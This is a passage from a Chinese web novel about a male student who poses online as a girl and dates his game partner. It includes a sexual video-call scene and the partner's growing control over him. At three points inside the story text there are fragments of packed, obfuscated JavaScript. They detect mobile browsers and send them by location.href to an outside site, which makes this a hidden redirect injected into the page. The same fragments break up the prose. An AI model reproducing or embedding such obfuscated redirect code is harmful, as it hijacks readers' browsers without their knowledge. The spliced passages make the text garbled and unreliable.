黎清愣住了。 他从没想过这个可能，最近一段时间里，二人几乎每天都要联系，亲密度涨得飞快，早已超越以往任何一段游戏关系。 这样的关系究竟能持续多久呢，潜意识里，黎清总觉得一切不变就好了，却忘了友谊也有期限。 他想起儿时的玩伴，搬了家之后就再也没了联系，往后则是不同时期的同学，毕业后也各奔东西。这些都是现实中认识的人，尚且经不住时间的考验，更何况是仅靠一根网线维系的他们。 独孤会退游，然后彻底消失吗？ 黎清其实感觉到他对游戏的兴致不太高，只要自己不在线，基本上也很少登录。现在告白失败，二人落得一个朋友不似朋友的尴尬境地，再也不可能像从前那样，好像分离也只是时间问题。 那一瞬间，许多面孔掠过黎清眼前：邻家总带他玩的哥哥、上课偷偷传纸条的同桌、记忆中日渐模糊的父母……成长好像就是一个不断告别的过程，没有人能一直陪在自己身边。 “怎么又哭了？” 恍惚间，黎清听到一声叹气。原来早在不知不觉间，他的眼底已经蓄满了水光。 “我才没有。” 又丢脸了，黎清哽咽着反驳，试图忍住泪意。但断了线的珠子还是顺着面颊滚落，打湿了鬓边的发丝，在枕头上汇聚出了一个孤单的小小湖泊。 “为什么要哭呢。” 看着那些泪水，独孤本该像从前那样心疼。但这次，他的目光却愈发灼亮，仿佛想要透过屏幕洞穿这个人的心。 “其实你也有一点喜欢我对吗，你不想和我渐行渐远，你想和我一直当朋友，其实就是害怕分开。小清，宝宝。你到底是怎么想的，想要什么，全都告诉我好不好？” 视线被泪水模糊，黎清看不清独孤的表情。但在对方逐渐放缓、近乎温柔的诱哄中，最终还是抽泣着吐露出真实想法： “…首先，你不可以退游，以后每天都要上线，我要检查。” “好，我答应你。” “也不准像今天这样怀疑我，你又不是不知道我的性格，我真的就跟你最好。” “我错了。” “最后就是，你说喜欢我，那不管以后发生什么，都不可以随便提分开。” “永远不分开。” 就这样，在黎清带着哭腔的“约法三章”下，这段始于欺骗、满是混乱的关系，终于踉踉跄跄地迈入了名为【恋爱】的新阶段。 . 【然：起床了】 【然：小猪】 【然：怎么这么能睡？】 又是一个周二，上午排了满满的课。在绝望的铃声中，黎清揉着眼睛摸过手机，锁屏上赫然堆着好几条消息。 “……” 他鼓了鼓腮帮，回了个生气的表情包，便匆忙爬起来洗漱。 搬出去后就这点麻烦，哪怕离学校近，每天也得比住宿舍早起一刻钟。上午的课虽水，考勤占了大头，黎清可不想在绩点上栽跟头。 一路小跑，紧赶慢赶，终于是在打铃前五分钟溜进教室。 【然：到了吗？】 【然：不回我】 【然：看来是还在路上】 来的有点晚了，后排的座位都被占满。黎清挑了个中间靠边的位置，正处于老师的视野盲区，这才有时间偷偷拿出手机回消息。 【清清绵绵冰：到了到了，早就到了】 【清清绵绵冰：没有跑，时间我都计算好的】 【清清绵绵冰：都说了让你不要这么叫我了[生气气]】 他一条条回，顺序从下往上，无一不是反驳。面对他的矢口否认，对面显然表示怀疑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17023421|193869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 【然：真假？】 【然：拍张照片我看看】 又来了。 黎清心头一抖，这样的要求他几乎每天都要收到。 有时是让他拍午餐，有时是让他拍房间，有时是让他拍自己。陷入热恋的男人似乎对女友的一切都充满好奇，乐此不疲地想要探寻。 不仅如此，独孤近来的分享欲也十分爆棚。从最初朋友圈里那些意义不明的模糊照片，到现在恨不得全方位无死角的直播展示。短短几天时间，黎清几乎被迫参观了他家的每一个角落。连对方名下有几台车、腹肌有几块、乃至真名“萧奕然”三个大字，都成了必须接受的信息。 黎清本不想知道他的真名，无奈对方非要说。轮到自己交代时，他既不想实名上网，又怕被现如今各平台显示的ip地址以及转账信息背刺，只能化名“李清”，身份是就读于海城某普通本科的女大学生。 【清清绵绵冰：[照片]】 犹豫再三，黎清还是拍了一张发过去。没有任何身体部位出镜，只有桌子上的两本书和放在一旁的黑框眼镜，生怕露出一点多余的东西。 【清清绵绵冰：看见了吧】 【然：嗯】 【然：错怪宝宝了】 【清清绵绵冰：[左哼哼][右哼哼]】 【清清绵绵冰：不说了，我要认真上课了】 一节课过去快一半，总算结束了这场黏黏糊糊的拉锯。熄灭手机屏幕，黎清悄悄叹了口气。 这就是谈恋爱吗？ 他没什么经验，不知道旁人是怎么做的。但就这些天的体验来看，恋爱可真是一件相当累人的事。 首先是事无巨细的报备，从早晨起床到晚上睡觉，生活中大大小小的事都要分享，有时连吃饭睡觉都要打着电话。 然后则是游戏，作为“约法三章”的其中一章，同时也是最重要的一章，萧奕然确实履行了他的承诺，不仅每天积极上线，游戏热情也是空前的高涨。 或许是腻歪的太明显了，他们在一起的事很快被帮会的人知道，收获了不少祝福。得知黎清居然是初恋，柚子更是以一种“嫁女儿”的口吻嘱咐许多，吓得黎清完全不敢吭声。 不过累归累，这些琐事也确实填满了黎清渴望陪伴的空白。生活中的喜怒哀乐有了倾诉的对象，游戏里也永远有一个等自己上线的人，这样他就很满足了。 除了… 【然：快递拿了吗？】 【然：今天晚上可不可以】 【然：想宝宝了】 上午的课终于结束，黎清收拾完书包准备离开教室时，手机上方又弹出几条新消息。 又来了… 看见这几行字，黎清心头一紧，连忙点开物流消息。 关于快递，自打确认关系开始，萧奕然就多次提出要给他买东西，但黎清都以不方便为由拒绝了。 实则是怕暴露地址，现如今他生活中事事要报备，姓名也等于半透明状态，要是地址再被知道的话，可真是行走于刀尖之上，毫无隐私可言了。 最后萧奕然勉强让步，不让他买可以，但黎清得自己下单，费用部分他来报销。至此，黎清也没了拒绝的理由，只能回以表情包搪塞。 新的快递到了，这意味着又要跑一次驿站。一路上，萧奕然说的那些话还盘旋在黎清的脑海，他问晚上可不可以，应该就是晚上能不能打视频的意思。 想起他们上次视频的情形，黎清耳根发热，稀里糊涂的吃了个饭，又稀里糊涂的将快递取走。回到自己的小房间，空调打开，凉爽的冷气总算降下了身体的热度。 黎清拆开包裹，扁平的袋子中是略显简陋的透明塑封袋。虽然是自己亲自下单的东西，待到看清实物时，他的脸还是倏地红了。 蓝白相间的海军领，短短的上衣和百褶裙，不知道是领带还是什么的装饰品… 这分明就是一套水手服。 17.第十七章 当天晚上，黎清做了好久的心理建设才穿上了那套衣服。 倒不是他没见过水手服。黎清上学的地方是海城，一个大城市，包容度也比较高。 别说水手服了，有些女孩还会穿着复杂的公主裙走在街头，他偶尔见到还会欣赏几眼。 但欣赏归欣赏，不代表能接受穿在自己身上。也不知道萧奕然最近又刷到了什么相关内容，说是要给他补上从1岁到19岁的所有生日礼物，并信心满满的列了个礼物清单出来，声称“你一定会喜欢”。 黎清扫了眼清单，就这么一眼，险些没被吓晕过去。 包包、裙子、护肤品、首饰…一大堆价格不菲的东西赫然其列，并涵盖了生活中的不同用途，想必真是用心列出来的。 【然：化妆品就没加了，网上说男的不懂就别乱送这个，还是给钱你自己买吧】 【然：而且我老婆素颜就很漂亮，根本不需要这些】 呃，视频是素颜没错，但我平时发的照片都是有开滤镜和瘦脸的…… 黎清没说话，只是摸了摸脸颊，总感觉一上镜这里就变圆了一点点。 言归正传，这么多礼物，如果女生收到大概会很感动吧！黎清也很感动，但理智告诉他最好拒绝，因为买回来也是压箱底，太浪费萧奕然的钱了。 而且如果要补礼物的话，自己肯定也要补回去啊，总不能只进不出吧，他默默低头。 当然，黎清绝对不是不愿意给萧奕然买礼物，也计划攒钱明年给他买件贵的东西。但一次性送这么多，实在是有点超出预算了…… 【清清绵绵冰：要不这样，你送我十张天问月卡，我帮你做十个月声望任务，就算礼物互抵了，行不行？】 【然：？】 很不幸，这个提议刚出生就被否决了，萧奕然那边更是发了一串长长的省略号，隔着屏幕都能看出无语。 怎么办、是不是表现的太明显了，女生按理来说不会拒绝这些的吧？ 黎清不认识什么异性，就偷偷问了下柚子，得知她居然是个“三坑玩家”，而所谓的巨大公主裙其实叫什么洛丽塔后，小土包子就更心虚了。 最终，在他的坚决抗拒下，总算打消了萧奕然的送礼计划。但作为补偿，也为了夯实自己“女生”的身份，黎清答应视频，并且承诺会穿裙子。 他再次询问了柚子有关这三个坑的知识，并挑了一些在自己认知里最日常的衣服，可拿到手却感觉不对劲。 这东西，是不是有点问题… 黎清不了解这些，但也明显感觉别人穿的跟自己不一样。这个衣身长度，很明显比正常衣服要短太多了吧？ 费了一番功夫，还是换上了。 房间里没有镜子，但黎清不用看也知道自己现在很奇怪，腹部半露在外面，两条腿也光溜溜的。 眼见萧奕然的视频已经打过来了，他实在没办法，只能把之前买的丝.袜从抽屉里拿了出来，希望这薄薄的东西能帮自己遮挡一下。 “对不起宝宝，突然有点事，你……” 黎清接通的瞬间，萧奕然的脸出现在屏幕上。他穿着件简单的T桖，满头是汗，像是有事刚赶回来。凌乱的发型给他增添了点少年气，总算有点同龄人的样子。 刚才有人打电话给他，说是朋友喝醉了，在店里发酒疯。萧奕然本来不想管的，但看在这人给自己当恋爱军师的份上，还是去看了一眼。 他叫了个车，把醉醺醺的人扔在沙发上就赶紧回了房间，谁知视频那边等待自己的却是这样的画面—— 不算明亮的灯光下，一位“少女”正坐在床上。 “她”头发柔顺，黑色发梢垂落肩头，肤色白皙，气质乖巧清纯。然而当视线下移，这感觉却陡然失序：上衣短得惊心，露出一截纤细的腰身；其下的百褶裙更是如同虚设，布料少得可怜。 可能是为了避免走光，对方以鸭子坐的姿势跪立着，一只手臂正卡在双腿之间。明明很瘦，但该有脂肪的地方也不含糊。丝袜包裹着腿，腿间卡着手臂，彼此挤压着，光用眼睛都能感受到柔软。 “……” 这样一副场景，饶是萧奕然也瞠目结舌，没想到女友竟有如此放开的一面。 “你这是在哪买的衣服，宝宝。” 震惊过后才开口，他声音低哑，神色晦暗不明。看的黎清有些害羞，腿愈发并地紧。 “就是在网上随便买的。” 黎清嗫嚅。 好吧，其实他是又犯了老毛病——挑便宜。 下单之前他做过功课的，可越做就越觉得这些裙子长得都差不多，卖的还不便宜，换个好听的名字价格更是不得了。 要是普通买家也就算了，大不了多穿几次。但他单纯是穿给萧奕然看的，买贵的未免太浪费了。 于是，做完功课后，黎清还是点开了【按价格从低到高】。 一看就是小作坊的店铺、AI生成的模特图，他买的这件虽然从里到外都透着不走心，整套下来却不到三十元。 ……果然是便宜没好货，价格是省去大半，布料居然也被腰斩了。 可怜黎清做了半天的心理建设，实际情况却比想象的更加棘手。 “是故意买这么…的衣服给我看吗，还配丝袜，觉得我会喜欢？” 何止是喜欢，萧奕然现在颅腔已经快要爆炸了。怕吓到女友，他略去了某个过分的词语，但黎清还是听懂了他的潜台词。 “我是买错了，不是故意的。” “少女”慌忙摆手，遮挡在身前的手臂也抬了起来，短短的上衣之下，平坦的地方因躬身而折出弧度，实在显眼无比。 “往前坐一点好不好，让我看看。” 现在这种情况，如何解释已经不重要了。萧奕然磨了磨后槽牙，诱哄着对方靠镜头更近一点。 黎清呆住了，乖乖往前挪了点。但挪着挪着，他就发现萧奕然变得有些呼吸不稳，与此同时，镜头似乎也微微晃动起来。等一下，他该不会…… “你…你是不是在……？！” 他咬了咬嘴唇，不敢继续说下去。 恶劣的行径被发现，谁知萧奕然不仅没有感到抱歉，反倒更加兴奋，甚至直接承认道： “呃、刚从外面回来，有点热，你又穿成这样，真的受不了…” 话还未尽，他额头的汗水就已经顺着脸侧滑落，隔着屏幕都能感受到灼热的温度。 听着乱七八糟的动静，黎清满脸通红。顺着萧奕然的视线，他知道对方正看向哪里，可这要命的衣服却一点都不顶用，更何况这他还是自愿穿上的。 黎清也是男人，倒不至于像少女般发出害羞的尖叫。但只要意识到有一个同性正看着自己忙活，他就坐立难安、尴尬不已。 “宝宝再往前来一点，或者把手机拿近点。别遮好不好，往两边分…乖。” 见他不配合，萧奕然拧紧眉头，提出的要求也越发不要脸。 “等一下…” 不知不觉间，黎清也出了汗。他穿着简单的平角底裤，为了避免露馅，只能用手挡住前方，从对面视角来看，就像是在用手捂着…一样。 再分开的话就… 黎清不肯再动，细白的手臂死死拦着，怎么都不肯让人继续窥视。 而另一边，被迫卡在这个不上不下的位置，萧奕然也非常的难受。 老实说，他不是第一次想小清了。最近每次从梦中醒来，后背都会被汗水浸透，半个多小时才能消停。自己动手久了，阈值也越来越高，以至于现在轻易根本无法完成。 “说两句话，宝宝，跟我说话，帮帮我…别不理我。” 他断断续续催促着，黎清烧红着脸，过了好久才把视线挪回屏幕，不情不愿地看过去。 “我能说什么？你自己一直讲、讲个不停，还都是这种很讨厌的话…” 终于吸引到了恋人的视线，这次还附带一枚羞恼的瞪眼。 那一瞬间，萧奕然简直头皮发麻，嘴里也没了分寸：“你之前不是经常叫我哥哥吗？后面反而不叫了，就现在叫一次好不好，说喜欢哥哥，想帮哥哥…” 这种话要怎么说得出口？刚认识的时候是想套近乎，熟了之后就没必要了，挂在嘴边也不嫌肉麻。 黎清才不想叫，但他越是冷处理，萧奕然的眉心就皱的越紧。这人本来就长得不太和善，这会儿表情微微扭曲，额前的发丝垂落在眉弓之上，像是恨不得将屏幕对面的人一口吃掉。 “…哥哥。” 在一声又一声的祈求中，黎清实在没法无视，只得皱起鼻尖，脸蛋扭到一边，小声说出了这个羞耻的称呼。 “靠！！” 他这话一出，屏幕那头就是一阵天旋地转，随即则是硬物撞击地板的声音。 原来是手机被打翻到地板上了，可正值关键时刻，萧奕然也无暇停下进程，只能一边忙着，一边用另一只手去拿。伴随着各种可疑的动静，最后几秒时，似乎有什么奇怪的东西在屏幕前一闪而过… “啊——！！” 最后的最后，黎清还是发出了尖叫。 . 【然：宝宝。】 【然：怎么挂了】 【然：生气了？】 进入贤者模式，萧奕然知道自己过分了。 诚然，两人已经是恋爱关系，但几乎从不讨论这方面话题。刚确定关系后，如果不是反复确认，萧奕然甚至以为自己谈的是未成年。 买裙子是他某次无意间刷到的。在那个异地恋秀恩爱的视频中，博主晒了男友给他买的一大箱衣服，评论区不少女生羡慕不已，纷纷艾特另一半来学习。 所以这样就能讨对象欢心？萧奕然记住了，并很快付诸实践，而且说实话他自己也挺想看的…但他发誓自己真的只是想看看，而不是有什么别的心思，更不是想要对着人家… 在萧奕然心里，小清是纯洁的、稚嫩的，也没觉得恋爱一定要和性挂钩。但他是个正常男人，会有需求，也会有见不得人的想法，只是从来没将这些想法袒露到恋人眼前而已。 今天是个意外，实在是存了太久，*虫上脑，什么话都敢往外说。这下好了，把人给惹生气了。 【然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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其实黎清知道，这个年纪的男生本来就容易冲动——虽然自己算半个例外——但从萧奕然的反应来看，他显然也不能免俗。 而且自己也不该贪便宜乱买衣服的。黎清刚刚去查了下，那家店铺原来是卖特殊用品的。点开主页不堪入目，放眼望去都是些夸张的图片，他的水手服在里面已经算非常保守了。 可能萧奕然看他穿成这样，就默认是那方面意思，以为是在暗示什么。 其实黎清就真的只是买错了而已。 【清清绵绵冰：有那么夸张吗？】 【然：真的，每天都会想你。太喜欢你了，一想到你就不行，想抱你，亲你的嘴】 【清清绵绵冰：……】 面对这样直白而浓烈的好感，又想到当时他忍耐的表情，黎清的气也消了大半，反倒有些不好意思。长久的沉默让萧奕然那边焦躁不已，只能继续给自己找补。 【然：我的意思不是指，跟你谈恋爱就为了做这些】 【然：是因为喜欢你才会对你有感觉】 【然：你不喜欢以后都不弄了】 【然：对不起】 【清清绵绵冰：好了，你不要道歉了】 【清清绵绵冰：这次主要是太突然，我都没做好心理准备】 【清清绵绵冰：以后你有什么喜欢的衣服就直接发链接给我吧，我自己也不太会买，这次就买错了】 这就是同意之后还能视频的意思了？ 甚至还能自助点菜？！ 萧奕然无比惊喜。本以为悬在头顶的是达摩克利斯剑之剑，结果掉进怀里的却是可爱又善解人意的女友。 他又激动了，刚视频完都忍不了，当即又是一通电话打过去，劈头盖脸对黎清说了一大堆肉麻兮兮的话。 “好想亲你。” “你、你别乱说！”黎清脸上发热，赶紧打断，“啊，对了……” 说到亲亲，黎清就莫名联想到之前通话时，偶尔从听筒里传来的打火机声响。 他把脸埋进枕头蹭了蹭，有点犹豫该不该提。要是说了，萧奕然嫌他管太多怎么办？明明才刚交往没多久，居然就敢插手个人爱好了。 可他又想起之前看过的戒烟宣传片，里头都是触目惊心的病例影像。自己有个远方亲戚也是死于肺病，年纪轻轻就走了。纠结再三，黎还是慢吞吞地开了口： “那你要答应我，以后不要抽烟了好不好，对身体有伤害。” “遵命，老婆大人。” 好吧，没被嫌弃，但却油嘴滑舌的很。黎清捂住脸，耳垂都红透了。人是被这句话哄得晕晕乎乎的，当晚又乖乖收下男朋友的大额转账，以及随之附上的超长购物清单。 吊带袜… 女仆装… 露背毛衣… 甚至还有连体泳衣…？这款式是给小学生穿的吗。 都是些黎清从没见过的东西，光看图片就叫他面红耳赤，更别提商品介绍里还贴心地附上了穿戴讲解。 而且仔细一看，萧奕然分享的很多衣服虽然价格贵，看上去材质不错，但依旧是在那种不正经的店铺找的。黎清被气的不想跟他说话，只能小发雷霆，决定单方面冷战到天亮，总感觉自己又被算计了。 18.第十八章 这周资源更新之后，天问开放了新的地图，情缘系统的更新也终于端了上来。 作为一款主打社交的网游，《天问》自开服起就为情缘系统画下大饼，不少网恋情侣对此可谓是翘首以盼——其中自然也包括某个声称要给黎清“惊喜”的人。 看完预告，黎清发现这个新推出的礼包虽然名字叫信物，本质还是在卖时装和坐骑，换汤不换药，是天问一贯圈钱的做法。 活动上线，各路游戏博主迅速推出了测评，覆盖不同价位。普遍结论是：普通情侣选择168档位即可，性价比最高；条件较好的可以考虑2688档，仪式感更强。 至于188888……这个档位就留给氪佬们体验吧，旁人不敢多言。 . 晚课结束后，黎清回到房间。 和萧奕然约好了待会在游戏中见面，他洗完澡后就打开了天问，看见了正在等待他的人。 【私密】独孤：下课了？ 【私密】独孤：到我这里来 萧奕然发过来一个坐标，正是天问的著名的打卡点情人崖。 今天情缘系统上线，正值“领证”高峰期。每有一对情侣赠出信物，成功结为情缘关系，屏幕上就会飘出一句短暂的通知喇叭，周围还有亲友在公屏恭喜祝贺。 黎清扫了一眼，发现他们帮会也有很多人在，气氛看上去十分热闹。 看来评论区大伙骂归骂，愿意送钱的依然不在少数，不然就天问这种钻进钱眼的游戏，每次更新都要被骂上热搜，怎么还能赚的盆满钵满呢。 【私密】小清宝宝：我来了 黎清操控着药仙来到独孤身边，现在他的账号和之前可大不一样了。男友财大气粗，送他的都是炫彩的氪金时装，两人每次站一起都特效拉满，堪称行走的人民币。 其实黎清并不习惯这种高调的穿衣风格，婉拒过好几次，但都没什么用。 现实里要穿他挑的衣服，游戏里也要穿他送的情侣时装，黎清都怀疑萧奕然是在把他当成娃娃在打扮了。 【玩家“独孤”向您发起了双人互动[公主抱]】 黎清点击[同意]，屏幕之中，白衣少女便被剑修拦腰拥入怀中。两个游戏角色身形相叠，发丝缠绕，看着好不亲密。 而就在相拥的瞬间—— 游戏的夜空骤然被点亮。 起先是几道银光率先尖啸着窜上天空，形成了一道道光带。紧接着，绚烂的烟花也在天空中绽开，铺满了视野。漫天光雨中，零散的星辰流动着逐渐汇成一条璀璨的银河，如细碎的光点般簌簌飘洒。竟是整个服务器的天气都发生了改变，堪称“天生异象”。 一行闪着金光的全服公告跳了出来。 【全服恭贺！玩家“独孤”向“小清宝宝”赠予世间至珍“同心金锁”＊1，山海为证，日月为盟。恭喜二位少侠缔结永世情缘，从此红尘作伴，风雨同舟。全服限时开启倒计时红包雨，祈愿天下有情人共此良辰，见者有份，同沾喜气！】 【卧槽，我还以为游戏出bug了，原来是真实的吗】 【这是有人送18w8了？】 【还是我二区土豪有实力[大拇指]】 【独孤？是那个独孤吗】 … 没想到要价这么夸张的信物一更新就有人消费，短暂的凝滞后，世界频道瞬间被潮水般的惊叹声淹没。 杀伐帮会的人对此似乎早有准备，立刻在世界上刷起了整齐的祝福。红包雨及时落下，很多路人为了领奖励也纷纷跟上祝贺节奏。一时间，世界频道竟显得格外统一，场面颇为壮观。 屏幕另一端，烟花明灭不定的光映在黎清专注的眼中，恍若真实的星火，坠入一片安静的深潭。 望着满屏流转的文字与光华，许多画面与感受也蓦地涌上他的心头。 过去这一年，黎清的运气的确糟糕。经济压力变大，又莫名遭到小团体的排挤。尽管清楚问题不在自己，没必要太内耗，但依旧给他带来了实实在在的伤害。 好在都已经过去了。现在的他不仅挣脱了旧日的环境，在游戏里结识了一些好朋友，还收获了重要的人。 从前他不太理解网恋，不明白为什么会有人将情感托付于虚拟的网络。可在此刻，对着屏幕上浩瀚的烟花、滚动的祝福，以及那个静静拥抱着自己游戏角色的人，他心里却胀满了某种温热而踏实的东西，半晌说不出话来。 【私密】独孤：怎么不说话 【私密】独孤：不喜欢吗？ 【私密】小清宝宝：没有 【私密】小清宝宝：是太感动了，不知道说什么好 【私密】小清宝宝：这个好贵的T.T 【私密】独孤：没事，我本来就是外观全收集，别有压力 【私密】独孤：不会又哭鼻子吧？ 很快，萧奕然的微信电话打了过来，黎清垂着脑袋看向手机屏幕。 【然：接电话宝宝，不想开摄像头就黑屏】 于是他戴上耳机，关掉自己的摄像头权限，默默听熟悉的声音传进耳朵里。 “听得见吗？” “嗯。” “好，那我就开始了…虽然之前已经说过了，但还是再正式的对你说一次。” “清清，我真的特别喜欢你。你是我第一个交往对象，现在我们不仅是情侣关系，天问里也结婚了。你说你想要人陪，那就让我一直在你身边陪你，好吗？” “好。” 黎清趴在床上，将脸埋进枕头，但温度还是耳侧蔓延出去。 这是萧奕然的第二次告白了。上线之前，他就预料到萧奕然要干什么，也做好了心理准备。但当真正发生时，他还是眼角发酸，心中五味杂陈。 感动、心跳、愧疚…各种各样的情绪交织在黎清心中。理智告诉他这是错的，应该早点坦白一切。但悸动却拉着他的心沉沦下去，只想掩耳盗铃，让时间永远停在这一刻。 . 海城前几天气温转凉，今天难得放晴，白天的温度竟回升到二十来度。 公寓电梯坏了，黎清抱着大大小小的快递盒爬上楼。回到租处时，额头上已沁出一层薄汗。 “呼……” 他长舒一口气，把东西堆在门口。 “嚯，你这哪儿是取快递，这是去进货了吧？” 周末在家的陶朗闻声探头，看见门外堆成小山的包裹，忍不住乐了。 “没，攒了好几天一起拿的。” 黎清边说边挪箱子，想赶紧清空过道，不料脚下被一个纸盒绊了个趔趄，抬脚踩了上去。 “当心！” 陶朗眼疾手快扶住他。人倒没摔，怀里的快递却噼里啪啦掉了一地。黎清刚站稳，就看见陶朗已经弯腰捡起了那个被踩坏的纸箱。 “这有点惨烈啊，我帮你看看……” 他的动作很快，没发现盒子已经被压裂了，底部敞开了一个大口。伴随重力作用，装有浅蓝色连衣裙的塑封袋顺势从口子里滑出，连带着丝袜和发箍这些小配件也没有幸免，“啪嗒”几下，全部摔在了地板上。 空气静了一瞬。 陶朗动作顿住，他抬眼看向黎清，又看了看地上的东西，嘴角勾起促狭的弧度。而黎清则整个人僵在了原地。 “可以啊，室友。” 陶朗用脚尖轻轻碰了碰：“装备这么齐全…准备送女朋友的？” 这问题问得可真够刁钻的，承认也不是，不承认更怪。 黎清暗道不好，几乎是扑过去把东西往盒子里塞：“不是的！这个是……” 好在陶朗没继续追问，只是帮他把散落的东西一样样捡起，连同盒子一起推进了怀里。 “没事，有对象就有对象呗，这有什么不好意思。” 估计是觉得自己撞破了小情侣间的情.趣，陶朗用一种“我懂”的眼神看向黎清，还眨了眨眼，“但是有件事得提前说一声，我们这是单身公寓，不能带女朋友进来哈，尤其是过夜。” “嗯嗯。” 你就放心吧，兄弟。 黎清表面点着头，心里却有几分淡淡的平静。 ——你担心的事情是绝对不会发生的。 . 门关上后，黎清抱着破掉的纸盒叹了口气，慢慢蹲了下来。 衣服、零食、电子产品…他挨个拆开包裹，里面装满了各式各样的东西，数量之多，连泡沫纸和拉菲草都堆满了角落，将本就不大的房间占据无几。 黎清跪在地板上，清理出一片空地，将一样样将东西码好，并逐个拍照。 不知情的人看了，八成会以为他在记录网购战利品，但只有他自己清楚，事实并非如此。 【清清绵绵冰：东西都收到啦】 【清清绵绵冰：[比耶]】 【然：喜欢吗？】 【然：拍张照片给老公看看】 嗯，果然。 在第不知道多少次收到类似要求时，黎清已经对此毫不意外，甚至预判了萧奕然的想法。 他轻车熟路点开相册，将刚才拍好的照片导进p图软件。亮度调高，对比度降低，再加个粉白色滤镜，最后添上小动物贴纸，批量应用到所有图片，来自小清宝宝的爱心返图就这样大功告成。 【清清绵绵冰：[照片][照片][照片]】 【清清绵绵冰：（＞＜）】 【然：喜欢就好】 是的，这些照片其实是黎清的“任务”。 由于他屡有省钱的前科，又坚决不肯让男朋友代买。于是，为了切实提高对象的生活质量，确保对方把钱花到自己身上。每次让黎清买完东西，萧奕然都会要求他拍照验收。 怎么说呢？初衷是好的，也确实帮他减轻了很多开销，却也带来了一些隐形的负担。 为了不穿帮，黎清不得不处处小心。给照片加特效也是同理，厚厚的滤镜可以掩盖他手机的垃圾像素，可爱的贴纸则可以盖住屋子里不属于女生的痕迹。 收到裙子或其他衣物时，黎清还会穿上自拍几张，为此还特地买了个落地的穿衣镜。 拍照姿势都是他跟假照卖家学的，无非就是要多凹几下，并着腿比耶，或者对着镜子半跪在地上，用手机挡脸……至于把脚怼到屏幕上的那种，那种还是算了吧。喜欢的估计都是变态，萧奕然绝对不是那种人。 现在美图软件已经成为黎清的常用工具了，为此他还斥巨资开了会员，几乎每张图都修，必须用够本才行。 平心而论，黎清觉得萧奕然对自己很好，所以他也想尽可能回应这份爱意。但随着二人感情的加深，伴随着而来的还有一些附加产品。 比如占有欲，比如控制欲。 如果现在有人打开黎清的衣柜，大概会十分震惊：一个男生的抽屉里，竟然没几件能穿的衣服，反而塞满了各式女装，无一不是网恋对象给他挑的。 游戏里也是如此。有次萧奕然不在，黎清就在帮会群里d了个人打竞技场。两人聊装备聊美了，结束后加了个好友。结果隔天那人就被萧奕然踢出了帮会，为此他们还产生了分歧。 到现在为止，萧奕然也隐晦提出了好几次线下见面的请求，但都被黎清以“没准备好”为由搪塞过去。 萧奕然本来就不是多有耐心的人，能像现在这样体贴，连老朋友都觉得不可思议。可时间一长，他性格里强势的一面还是渐渐露了出来。 报备照片，频繁视频，列表不能加任何异性……换作一般情侣，这时候估计已经在吵架了，偏偏黎清自觉亏欠，总想在其他地方多补偿他一点，甚至到了予取予求的程度，让他做什么都乖乖听话。 只可惜，百依百顺的女友不仅没让萧奕然满足，反而让他的控制欲愈演愈烈。每天隔着网线互动，看不见摸不着，根本就解决不了内心的渴求。 萧奕然想不通，明明他们早已互通心意，自己的条件也绝对不差，不可能是“见光死”。他已经恨不得把心掏出来了，小清却既不愿意见面，也不肯多透露一点现实里的信息，难道只有他一个人想更进一步吗？ 出于对网恋的刻板印象，萧奕然总觉得这种关系太不稳定，迫切想要落到实处。 被隐瞒的感觉让他焦躁，甚至萌生出直接查的冲动。但既然已经答应了再等等，他还是一忍再忍。 就这样，二人各怀心事，各有不安，表面上却更加亲密，用自己的方式关注着对方。而在他们看不见的地方，也有一小群人正悄悄地注视着这段恋情。 … 【此版块为公开】交流灌水专区 【天问分区】日常＞＞＞闲聊 《主题：有人知道二区的独孤大佬最近怎么了吗？》 #1 楼主 坐标听风问雪，也算是数一数二的卷区了吧。楼主是半个战力党，平时很爱关注排行榜上大佬们的战力，围观下顶级的装备和橙武 最近发现之前霸榜的独孤大佬最近消失了，八卦之心熊熊燃烧，有没有二区的人知道点内幕的？ #3 不知道，下一个 #5 一般这种事只有两种可能，退游or卖号 #7 慕名去看了一下二区的排行榜，差点被亮瞎。不愧是热服，简直卷生卷死，比我待的鬼服恐怖多了 #9 呦呵，这不是我们孤少爷吗，现在怎么混这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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什么清风什么独孤的，要我说给游戏花这么多钱的人都是弱智，有这钱现实能买多少房子和厂了？真是吃饱了撑的 #31 楼上你才是弱智吧，人能花这么多钱进游戏，现实肯定更不手软啊。他游戏里氪金影响现实买房了？穷狗的想象力也就到这了 #32 又跪舔有钱人，你坛厂弟也就这点出息了，人家是充给游戏官方不是充给你，跪舔人家你有钱拿吗[呲牙] #33 @32L 我*你全**了死**的*生，**玩意儿 #34 急了急了 #35 弱弱说一句，我还真拿过独孤的钱，他这人很大方的，经常发点券红包 #36 楼主 哥哥姐姐们我求你们别吵了！ …… #66 妈呀，战火纷飞，素质感人。谁还记得楼主一开始只是来好奇排行榜的？ #68 楼主别哭，我帮你破案了 你的偶像没掉出排行榜，目前排第六，只是改了个名字，新名字叫…呃… 《爱妻小清》 ＃70 楼主 ！？？ #71 实不相瞒，刚看见这个人了，但完全没往独孤身上想[呆滞] ＃72 这是独孤？你们确定？！ #74 这个爱妻小清就是独孤啊，前几天刚改的ID，在我们区都被涛烂了 楼主你是太关注战力反而不关心其他了？不过他的战力也确实掉了好几名，快跌出前十了，没办法，人家忙着网恋呢 #75 楼主 呃，确实不太懂这些 #77 同帮会的知情人士来了吗，快点爆瓜 #78 这名字起的，不用猜都知道他对象叫小清，这么好的二字ID都不要了 #80 嗯，他对象叫小清宝宝 #82 